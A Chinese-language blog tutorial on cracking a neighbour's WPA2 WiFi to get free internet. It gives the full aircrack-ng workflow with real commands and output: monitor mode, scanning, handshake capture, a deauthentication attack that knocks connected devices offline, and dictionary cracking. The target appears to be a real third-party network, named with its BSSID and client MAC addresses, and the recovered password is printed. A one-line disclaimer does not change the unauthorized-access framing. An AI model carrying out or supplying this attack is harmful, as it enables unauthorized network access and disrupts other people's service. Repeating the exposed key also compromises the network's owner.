

本文章仅作为技术学习交流,请不要随意拿邻居开刀。
提前准备#
你需要如下材料
- 一个支持监听的无线网卡设备
- 一个强大的WiFi字典
- 一个有WiFi的地方
最近流量不够用了,想着偷个网试试,看了一下周边的WiFi布局。。

还是有一些WIFI设备的,然后开始尝试能不能搞一个来。
技术原理#
WiFi认证#
大家都知道WiFi大略是有四种支持格式的,
1、不启用安全
2、WEP
3、WPA/WPA2-PSK
4、WPA/WPA2 802.1X (radius认证)
一般我们设置的都是第三种。
WPA-PSK的认证过程#

1、无线AP定期发送beacon数据包,使无线终端更新自己的无线网络列表。
2、无线终端在每个信道(1-13)广播ProbeRequest(非隐藏类型的WiFi含ESSID,隐藏类型的WiFi不含ESSID)
3、每个信道的AP回应,ProbeResponse,包含ESSID,及RSN信息
4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种,0为开放式、1为共享式(WPA/WPA2必须是开放式)
5、AP回应网卡AUTH包
6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包
8、EAPOL四次握手进行认证(握手包是破解的关键)
9、完成认证可以上网。
WPA-PSK认证四次握手认证的过程#

WPA-PSK破解原理#
用我们字典中的PSK+ssid先生成PMK(此步最耗时,是目前破解的瓶颈所在),然后结合握手包中的客户端MAC,AP的BSSID,A-NONCE,S-NONCE计算PTK,再加上原始的报文数据算出MIC并与AP发送的MIC比较,如果一致,那么该PSK就是密钥。
如图所示:

所以还是爆破握手包的方式来获得密码,由于是通过暴力破解方式破解Wifi密码,所以你需要下载一些强大的字典,字典可以直接在Github上搜索,或者直接google。
开偷#
启动网卡#
我这里使用的是Kali,插入无线网卡的时候请选择和虚拟机相连。
ifconfig-a /此命令查看所有网络设备器plain
如果你的连接没有出错,此时应该会有一张名为wlan0的网卡设备。
接着使用命令,激活这张网卡,如果不回显则开启成功。
ifconfig wlan0 upplain激活网卡为监听(monitor)模式#
airmon-ng start wlan0plain
同时,你的无线网卡应该会有指示灯之类的亮起(看型号,是否启用成功还是看上图结果)
得到监控模式下的设备名是wlan0mon,请记住这个名字,后续有用。
探测周围无线网络#
我现在连接的是我自己的手机热点,插入无线网卡后开始嗅探周围的WIFI设备。
airodump-ng wlan0monplain查看周边路由AP的信息。
个人经验一般信号强度大于-70的可以进行破解,大于-60就最好了,小于-70的不稳定,信号比较弱。(信号强度的绝对值越小表示信号越强)

这里我们将会对 游走老火锅 这个WiFi进行攻击,所以我们需要记录下对应的 BSSID 以及 CH ,这两个值分别是WiFi唯一标识和信道。 建议选择 PWR 较小的WiFi,因为这意味着信号较好。
如果要弄懂这些参数都是什么,我贴两张网上的图:



选择要破解的WiFi,有针对性的进行抓握手包#
airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8Eplain其中的 -c 参数代表了信道号, --bssid 代表此WiFi的唯一标识。
执行后等待一会,输出结果如下:
fundamental CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:75:90:9E:29:8E -37 1 89 4294 299 11 270 WPA2 CCMP PSK 203
BSSID STATION PWR Rate Lost Frames Notes Probes
14:75:90:9E:29:8E 48:7D:2E:B3:04:DF -29 0 - 1e 0 7
14:75:90:9E:29:8E E0:DC:FF:DC:5A:89 -40 0 - 0e 817 4259
14:75:90:9E:29:8E 80:ED:2C:10:0D:8A -63 0 -24 0 2
14:75:90:9E:29:8E FA:83:C4:C0:8F:DF -60 0e-24 88 88plain从这个输出结果我们可以分析到的数据:
- 当前连接此WiFi的设备有4台,以及每台设备的唯一标识,发包数等。 下面的四行也就代表了四台设备,我们需要记录
Lost有变化的设备标识,这里我们选择标识为E0:DC:FF:DC:5A:89的设备。
好的,目前我们掌握了几条有用的信息,如下:
WiFi唯一标识14:75:90:9E:29:8E
连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89
WiFi的信道11
监听握手包#
下面我们需要根据以上信息进行抓包,尝试拿到包含密钥的握手包。
airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203plain参数说明:-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名),也可以用其他工具抓包比如:wireshark、tcpdump,抓到握手包会有提示。
airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**plainPS:我建议使用这条作为监听,–ivs 这里的设置是通过过滤,不再将所有的无线数据保存,而只是保存可用于破解的IVS数据报文,这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听,不过滤请求的话会有很多额外的请求,后续的图我将以这条语句作为演示。
监听的时候如果有设备登录成功就会抓到握手包,那么此时客户端不一定有会有登录的包发送给服务端,怎么样去抓到这个带有认证请求的包呢,很简单,强行使客户端断开即可。
执行断网攻击获得握手包#
下面我们需要利用 Aireplay-ng 进行断网攻击,当用户重连WiFi时 Airodump-ng 应该就能拿到密钥的数据包了。
aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89plain这里的 -0 代表攻击次数,后面的10也就是攻击次数、 -a 代表要攻击的WiFi、 -c 代表要攻击的已连接WiFi的设备。
此命令的输出结果如下:
fundamental 23:55:26 Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
23:55:28 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
23:55:29 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
23:55:30 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
23:55:32 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
23:55:34 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
23:55:36 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
23:55:39 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
23:55:41 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
23:55:43 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
23:55:45 Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]plain如果这种方式多次失败,可以尝试去掉 -c 参数,进行范围打击,对每个设备都进行攻击,这样拿到加密包的机率也会有提升。
当 airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包,也就不需要断网攻击了。

我实践中使用是把整个客户端打掉线让他们重连的。

当这边的shell提示WPA handshake就说明获取到握手包了,可以停止了。
CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8Eplain
字典破解#
下面我们通过准备的字典以及拿到的握手包进行暴力破解。
执行如下命令进行破解
aircrack-ng -w common.txt 203.ivsplain-w 是我们的字典, 203-01.cap 是我们拿到的密钥握手包。
我这个运气不错,密码相对简单。

KEY FOUND! [ 99998888 ]即是密码。

最后#
请善待你的邻居,不要随意拿邻居开刀。